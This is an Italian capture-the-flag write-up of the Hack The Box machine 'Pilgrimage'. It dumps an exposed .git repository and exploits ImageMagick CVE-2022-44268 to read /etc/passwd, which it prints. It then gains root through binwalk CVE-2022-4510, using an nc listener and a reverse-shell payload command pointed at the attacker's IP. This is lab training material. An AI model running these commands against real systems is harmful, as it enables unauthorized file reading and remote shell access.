Pilgrimage
Autore: Lord Shiva • Aggiornamento: 24.09.2023 • Tempo di lettura: 10 min.Durante la fase di enumerazione ho riscontrato due servizi esposti: SSH e HTTP (Nginx). Analizzando il servizio HTTP, ho scoperto l'esistenza di una cartella nascosta “.git”, che probabilmente contiene il progetto web.
Ho provato a cercare delle sottocartelle tramite FUZZ ma non ho avuto grande successo.
Scarico la cartella git e vedo cosa posso trovare al suo interno:
git-dumper http://pilgrimage.htb/.git/ git
Accedendo al sito, possiamo osservare un modulo di caricamento file che richiede un'immagine. Quando viene caricata un'immagine, viene generato un collegamento nel percorso "/", che ridimensiona l'immagine.
Analizzando il codice si può osservare che gestisce il caricamento e il ridimensionamento delle immagini sul sito, verifica inoltre se l'utente è autenticato e restituisce il proprio nome utente.
Se la richiesta è un metodo POST e un'immagine viene inviata per il ridimensionamento, il codice elabora l'immagine, la salva in una posizione specifica e registra le informazioni in un database. Successivamente, l'utente viene reindirizzato a una pagina che visualizza un messaggio di successo o fallimento in base al risultato del processo.
È importante ricordare che il codice utilizza ImageMagick, in particolare il comando “magick convert”, per eseguire il ridimensionamento del file caricato e salvarlo nel percorso /shrunk.
verificando il binario ImageMagick ho notato che è la versione 7.1.0–49, che presenta una vulnerabilità nota chiamata "Lettura file arbitraria", è possibile approfondire a questo link https://www.metabaseq.com/imagemagick-zero-days/. Questa vulnerabilità consente a un utente malintenzionato di leggere i file di sistema.
Utilizzando il seguente codice: https://github.com/voidz0r/CVE-2022-44268 ho generato un'immagine che potesse estrapolare il file /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
emily:x:1000:1000:emily,,,:/home/emily:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
Grazie a questo file riusciamo a capire che esiste un utente emily che potrebbe esserci utile. Analizzando il file dashboard.php troviamo delle query su un database SQLite situato in /var/db/pilgrimage.
Rieseguo cargo per ottenere l'accesso ssh dell'utente emily.
cargo run "/var/db/pilgrimage"
Prima flag catturata: 576..........................9cd
Adesso verifico che privilegi ha l'utente con il comando sudo -l, ma l'utente non ha privilegi.
Facendo un controllo ho trovato un processo sospetto con UID 0 (root) che potrebbe potenzialmente essere il nostro percorso per ottenere l'accesso root.
Lo script monitora la directory /var/www/pilgrimage.htb/shrunk/ per i file appena creati e li analizza per individuare contenuti indesiderati utilizzando binwalk. Se trova contenuto indesiderato in un file, lo rimuove automaticamente.
Dopo aver controllato ho notato che presenta la seguente vulnerabilità: CVE-2022-4510. Così possiamo utilizzare il seguente script https://github.com/electr0sm0g/CVE-2022-4510 per provare l'escalation.
Prima di tutto attivo nc sul mio pc in modo da restare in ascolto sulla porta 1337.
Successivamente carico il file py per l'escalation sulla macchina target e creo un'immagine fake con il comando:
python3 RCE_Binwalk.py flag.png <mio_ip> 1337
Una volta generata l'immagine mi basterà spostarla nella cartella /var/www/pilgrimage.htb/shrunk/ e avremo l'accesso root.
Flag root: 712..........................96c